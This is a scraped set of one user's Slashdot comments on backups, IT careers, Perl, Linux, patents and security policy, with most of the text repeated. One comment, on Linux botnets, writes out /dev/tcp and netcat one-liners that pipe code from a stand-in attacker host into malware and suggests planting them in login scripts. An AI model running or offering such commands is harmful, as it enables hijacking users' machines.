Personally the data on my servers is worth a hell of a lot more than the servers themselves (years of work). Any local storage backup, including USB drives would go up in flames with the servers in any disaster. This is why automated offsite storage is important. No, I'm not going to go to the server room and grab the USB disk to take with me every day, and then try to remember to plug it in at night. Also, I already have a USB keydisk that I carry around, and it certainly isn't used for backups. No, I'm not going to carry around more than one.
I didn't get a degree in computer science or information technology. Neither did any of the people I work with, or some of the best IT people I've met.
You don't really need to go to school specifically for IT, unless you are attending a trade school. University-wise I've seen some of the best IT folks come from backgrounds in Physics, English, Engineering, Mathematics, and even History.
For entry-level IT, you really don't need specific training. And those who grow in the field, at least in my experience, grow because they have a more diverse background, not because they focused on programming, administration, networks, or whatever. People do the job because they really enjoy it.
Personally, I have done quite a bit in programming, networking, systems administration, and database management. Lately, and mostly because of my career focus on information security, I am growing more into project management and even people management roles. These take advantage of the other skills I've always tried to keep intact. Namely writing, planning, and communication.
In summary, I don't think we have nearly the shortage that Mr. Gates is complaining about, and I think we are better off with people who are not studying a computer-specific discipline. There isn't as much a need for computer scientists (the real theoretical folks, I'm not talking about ITT Tech or Devry training here) as there is for operations and infrastructure architects.
But if you own something, you bought it. So it was an expense to begin with. Most things you sell on Ebay, I doubt you get the same as you paid for it, let alone more. So how, exactly, is that a profit? Hmm. Maybe this isn't such a bad thing. I'll just claim the stuff that I sell on Ebay as a loss.
All of the windows boxes where I used to work had activestate installed on them, and if I ever have a job where I am administering windows systems again, that will be my first addition if it is not already there.
The only 'strange' thing with Perl is its use of symbols to denote things. That is not really that big of a deal, and in fact makes working with code a bit easier, IMO, since you know loosely what type a variable is just by looking at it and the context of the code that surrounds it.
The thing I've noticed, as a Perl programmer, is that it is the *only* language I've ever used (amongst bash, c, c++, java, rexx, fortran, basic) that I can take a break from for a year, come back, and be able to write a simple script without the need to refer to any books or online manuals. That is VERY useful for those of us who are more sysadmins than programmers. This power is partly due to the "more than one way to do it" philosophy, that lets you program in a style that works for you, hence allowing you to remember *how* to write in that language.
Then again, that's what most anti-Perl folks bitch about. Any language can be obfuscated. If you write hard to decipher code in Perl, you'll write it that way in any language.
They should ban religious shows from being aired during those hours as well. If anything requires parental supervision, it's religion. And that stuff currently comes up with a 'G' rating on tv. Huh???
Good point. I have had to tweak every distro I've tried. But...
Once it is set up the way you like it, that's it. It just runs. and works. If you do have problems, it's not as much a mystery to resolve as in windows. I've been able to fix and adjust a few things without having previous experience or knowledge about them. And again, once they are addressed, they are never a problem again. Extend that to just tarring up your home directory, and extracting it to the shiney new box when you upgrade. Much easier than moving your working environment to a new windows box, IMNSHO.
Not for everybody, definitely. But if you have to invest the time to fix, adjust, or customise something anyway, it's nice to do it on an OS where the fix is relatively easy, and it stays fixed.
Indeed. My 2GHz athlon with AGP geforce GT6800 is just about a year old. Before that, I had an athlon 900 for several years. I only upgraded because I wanted to play quake4 and doom3 (not many other choices...it's a linux box:). For an OS to require this type of hardware just to run the base OS well is silly. I'd prefer that hardware being used for the stuff I run, not for the ugly, inefficient windows interface that gets in your way more than helps.
And the whole problem with the patent system as it exists today is that it does not require you to actually do any R&D, or to spend money on raw materials. Think of something, patent it, and then wait for somebody else to spend the time, effort, and money to create it, and then sue them. That's broken.
It's highly likely that if this had happened on September 10, 2001, there wouldn't have been this kind of uproar. But in a post-9/11 U.S.A., the authorities have to assume things like this could be terrorist in nature and respond as if they were. Just because it's cartoony doesn't mean it should be taken less seriously. If we took that attitude, next thing you know, you'd be getting shredded by a Hello Kitty full of C4 and nails.
That's ludicrous. This is what Bruce Schneier coined as a "Movie Plot Threat". If these really were bombs, then the city's response was abysmal. They were up for at least 2 weeks, in plain public view!
You cannot constantly be looking for a specific avenue of attack. This does nothing but, uh, incite terror. So who are the real terrorists here? Living in fear is not an answer. Proper security policy in general is. Stop with all the knee-jerk reactions, and useless 'security' programs, and focus on what will actually protect us.
The last similar thing to hit us was the "liquids on airplanes" crap. That threat was mitigated not by nonsense at airports, but by good investigation work. Do you really think that a terrorist organization will use airplanes again? No, like anything, they will go the path of least resistance. Don't get me started on the removal of shoes (even flip flops) nonsense at the gates. It's a good thing that guy wasn't the 'underwear bomber'.
Watch the suits who saw this start canning their best IT people - zero-notice style. (That's where the employee arrives at work to find his cardkey doesn't work his passwords are rescinded, and he is escorted to HR where he is handed two weeks pay in lieu of notice, a box containing anything from his desk that the company didn't think was theirs, and a threatening document in lawyerese, and then kicked out of the building.)
Interesting. This happened to me on monday. Being the lead security analyst for the company, they weren't taking any chances. They demanded that I leave my personal electronics too. I obliged, since I'm going back Thursday, and we all agreed we would go over the stuff then to make sure I wasn't stealing anything. I also didn't want to piss them off to the point they decided to not give me any type of severence or unemployment. I really can't afford that, let alone a lawyer, right now. They called today to let me know they had wiped my keydisk (personal) among other things.
This was all done because I "don't work well with others" Translation: I felt more responsible to the company itself than to management's whims, and had, like most in my field, a somewhat aggressive personality about it. Unfortunately I reported to an operations group (no conflict of interest there, nosir), not the CIO, as I should (the last reorg resulted in this nonsense).
This could have been handled much better. I fully understand the need to eject me without letting me touch a computer. No worries there. It is the best protection for both them and me. But they crossed the line messing with my personal stuff without my consent. I should have demanded that I take everything on that day and never come back. But there's that whole money issue. *sigh*
Not that I disagree entirely with your post (and I didn't RTFA), but what's stopping the software from using multiple target squares for different depths from the camera? The 'trickery' then would be to look for division lines. Then again, there isn't any accounting for stuff at an angle either. *shrug*. Useful for really quick rough estimates, I guess.
I used XML::Simple in a script I wrote to grab data from my garmin GPS to use at http://www.gpsvisualizer.com/ Worked great without a lot of extra stuff to learn for a simple task.
This is a problem, though. I have several AOLers on the mail lists that I maintain for my cycling teams. Every now and then, I get the TOS notification bounced because some AOLer reported a message as Spam. One person reports, all of AOL misses those messages. Dumb.
...is a pretty interesting field. The one class I took in it while getting my Aerospace degree made my head hurt, though. Playing with computer networks was much easier and it paid better:)
I'm only replying because the parent was modded 'insightful'. You don't need to spam images. The query 'KFC near whereveriam' works just fine. That's the powerful thing about google doing maps in the first place. Heck, I use google maps as my primary phone book these days.
botnets on *nix are easy. Most on windoze are deployed via idiot lusers just like most other malcode.
On linux, you only need a script that does the equivalent of this:
malcode </dev/tcp/h4xx0rsbox/80
Or, if you have netcat available to you and prefer to use that tool:
nc h4xx0rsbox 80 | malcode
Or just include all the tcpip stuff in the trojan the idiot linux luser runs. It's easy enough to add it to their.profile or.shellrc, so it runs every time they log in, right?
These things aren't after your own files and such They are after your network resources, and these are trivial to get, even on *nix, my friend. When linux is popular amongst the idiots who run everything that they are sent or directed to download, they will certainly run it on that platform. And doing this stuff on linux is far more trivial than doing it on windoze thanks to the standard 'dev' tools and shells that are pretty much guaranteed to be available to the attacker.
How is a company supposed to innovate if they outsource their staff? Solutions that are honed to very specific company needs can only realistically be achieved by staff that is there who has the business's interest in mind. Outsourcing is a step backward for innovation, not a step forward. Taking security as an example, since it's in the headline of the article....my team has saved the company quite a bit of money, time, and effort... and is able to put management tasks down to less-skilled operations staff rather than have us involved by coming up with a custom firewall/vpn solution built around iptables and openswan. It works flawlessly at numerous branch office sites, and we even use it internally to segregate networks. Any outsourcer would not only provide less effective service in general, but would have used expensive to license and support hardware and software that likely is a real pain to manage.
Slashdot Mirror
Personally the data on my servers is worth a hell of a lot more than the servers themselves (years of work). Any local storage backup, including USB drives would go up in flames with the servers in any disaster. This is why automated offsite storage is important. No, I'm not going to go to the server room and grab the USB disk to take with me every day, and then try to remember to plug it in at night. Also, I already have a USB keydisk that I carry around, and it certainly isn't used for backups. No, I'm not going to carry around more than one.
I didn't get a degree in computer science or information technology. Neither did any of the people I work with, or some of the best IT people I've met.
You don't really need to go to school specifically for IT, unless you are attending a trade school. University-wise I've seen some of the best IT folks come from backgrounds in Physics, English, Engineering, Mathematics, and even History.
For entry-level IT, you really don't need specific training. And those who grow in the field, at least in my experience, grow because they have a more diverse background, not because they focused on programming, administration, networks, or whatever. People do the job because they really enjoy it.
Personally, I have done quite a bit in programming, networking, systems administration, and database management. Lately, and mostly because of my career focus on information security, I am growing more into project management and even people management roles. These take advantage of the other skills I've always tried to keep intact. Namely writing, planning, and communication.
In summary, I don't think we have nearly the shortage that Mr. Gates is complaining about, and I think we are better off with people who are not studying a computer-specific discipline. There isn't as much a need for computer scientists (the real theoretical folks, I'm not talking about ITT Tech or Devry training here) as there is for operations and infrastructure architects.
But if you own something, you bought it. So it was an expense to begin with. Most things you sell on Ebay, I doubt you get the same as you paid for it, let alone more. So how, exactly, is that a profit? Hmm. Maybe this isn't such a bad thing. I'll just claim the stuff that I sell on Ebay as a loss.
Not to mention that vista is not beautiful visually or functionally.
Perl's "TMTWWTDI" actually DOES keep it simple. It allows you to adapt a specific style, and consistently use it.
Perl is the only language I have used that I can walk away from for a year, and then use it again WITHOUT having to touch a book or online manual.
What, exactly, does Perl's use of non-text characters have to do with consistency? BTW, ever try to write C code without (){}+=-*? Thought so.
Good point.
All of the windows boxes where I used to work had activestate installed on them, and if I ever have a job where I am administering windows systems again, that will be my first addition if it is not already there.
The only 'strange' thing with Perl is its use of symbols to denote things. That is not really that big of a deal, and in fact makes working with code a bit easier, IMO, since you know loosely what type a variable is just by looking at it and the context of the code that surrounds it.
The thing I've noticed, as a Perl programmer, is that it is the *only* language I've ever used (amongst bash, c, c++, java, rexx, fortran, basic) that I can take a break from for a year, come back, and be able to write a simple script without the need to refer to any books or online manuals. That is VERY useful for those of us who are more sysadmins than programmers. This power is partly due to the "more than one way to do it" philosophy, that lets you program in a style that works for you, hence allowing you to remember *how* to write in that language.
Then again, that's what most anti-Perl folks bitch about. Any language can be obfuscated. If you write hard to decipher code in Perl, you'll write it that way in any language.
Depends on what you define as 'user-friendly'. I'd rather stick with Python, Perl, and Bash, myself.
well..
A good system could encrypt the filesystem with either strong passphrases or a key pair with one piece being on a USB drive or something.
That would be pretty difficult to defeat.
They should ban religious shows from being aired during those hours as well. If anything requires parental supervision, it's religion. And that stuff currently comes up with a 'G' rating on tv. Huh???
Good point. I have had to tweak every distro I've tried. But...
Once it is set up the way you like it, that's it. It just runs. and works.
If you do have problems, it's not as much a mystery to resolve as in windows. I've been able to fix and adjust a few things without having previous experience or knowledge about them. And again, once they are addressed, they are never a problem again. Extend that to just tarring up your home directory, and extracting it to the shiney new box when you upgrade. Much easier than moving your working environment to a new windows box, IMNSHO.
Not for everybody, definitely. But if you have to invest the time to fix, adjust, or customise something anyway, it's nice to do it on an OS where the fix is relatively easy, and it stays fixed.
Indeed. My 2GHz athlon with AGP geforce GT6800 is just about a year old. Before that, I had an athlon 900 for several years. I only upgraded because I wanted to play quake4 and doom3 (not many other choices...it's a linux box :). For an OS to require this type of hardware just to run the base OS well is silly. I'd prefer that hardware being used for the stuff I run, not for the ugly, inefficient windows interface that gets in your way more than helps.
And the whole problem with the patent system as it exists today is that it does not require you to actually do any R&D, or to spend money on raw materials. Think of something, patent it, and then wait for somebody else to spend the time, effort, and money to create it, and then sue them. That's broken.
And add to the problem by 'proving' that the majority of browsers hitting the site are MSIE.
That's ludicrous. This is what Bruce Schneier coined as a "Movie Plot Threat". If these really were bombs, then the city's response was abysmal. They were up for at least 2 weeks, in plain public view!
You cannot constantly be looking for a specific avenue of attack. This does nothing but, uh, incite terror. So who are the real terrorists here? Living in fear is not an answer. Proper security policy in general is. Stop with all the knee-jerk reactions, and useless 'security' programs, and focus on what will actually protect us.
The last similar thing to hit us was the "liquids on airplanes" crap. That threat was mitigated not by nonsense at airports, but by good investigation work. Do you really think that a terrorist organization will use airplanes again? No, like anything, they will go the path of least resistance. Don't get me started on the removal of shoes (even flip flops) nonsense at the gates. It's a good thing that guy wasn't the 'underwear bomber'.
This was all done because I "don't work well with others" Translation: I felt more responsible to the company itself than to management's whims, and had, like most in my field, a somewhat aggressive personality about it. Unfortunately I reported to an operations group (no conflict of interest there, nosir), not the CIO, as I should (the last reorg resulted in this nonsense).
This could have been handled much better. I fully understand the need to eject me without letting me touch a computer. No worries there. It is the best protection for both them and me. But they crossed the line messing with my personal stuff without my consent. I should have demanded that I take everything on that day and never come back. But there's that whole money issue. *sigh*
Not that I disagree entirely with your post (and I didn't RTFA), but what's stopping the software from using multiple target squares for different depths from the camera? The 'trickery' then would be to look for division lines. Then again, there isn't any accounting for stuff at an angle either. *shrug*. Useful for really quick rough estimates, I guess.
I used XML::Simple in a script I wrote to grab data from my garmin GPS to use at http://www.gpsvisualizer.com/ Worked great without a lot of extra stuff to learn for a simple task.
of course this would be the day that I don't have mod points to give.
This is a problem, though. I have several AOLers on the mail lists that I maintain for my cycling teams. Every now and then, I get the TOS notification bounced because some AOLer reported a message as Spam. One person reports, all of AOL misses those messages. Dumb.
...is a pretty interesting field. The one class I took in it while getting my Aerospace degree made my head hurt, though. Playing with computer networks was much easier and it paid better :)
ObLink
I'm only replying because the parent was modded 'insightful'. You don't need to spam images. The query 'KFC near whereveriam' works just fine. That's the powerful thing about google doing maps in the first place. Heck, I use google maps as my primary phone book these days.
On linux, you only need a script that does the equivalent of this: Or, if you have netcat available to you and prefer to use that tool: Or just include all the tcpip stuff in the trojan the idiot linux luser runs. It's easy enough to add it to their
These things aren't after your own files and such They are after your network resources, and these are trivial to get, even on *nix, my friend. When linux is popular amongst the idiots who run everything that they are sent or directed to download, they will certainly run it on that platform. And doing this stuff on linux is far more trivial than doing it on windoze thanks to the standard 'dev' tools and shells that are pretty much guaranteed to be available to the attacker.
How is a company supposed to innovate if they outsource their staff? Solutions that are honed to very specific company needs can only realistically be achieved by staff that is there who has the business's interest in mind. Outsourcing is a step backward for innovation, not a step forward. Taking security as an example, since it's in the headline of the article....my team has saved the company quite a bit of money, time, and effort ... and is able to put management tasks down to less-skilled operations staff rather than have us involved by coming up with a custom firewall/vpn solution built around iptables and openswan. It works flawlessly at numerous branch office sites, and we even use it internally to segregate networks. Any outsourcer would not only provide less effective service in general, but would have used expensive to license and support hardware and software that likely is a real pain to manage.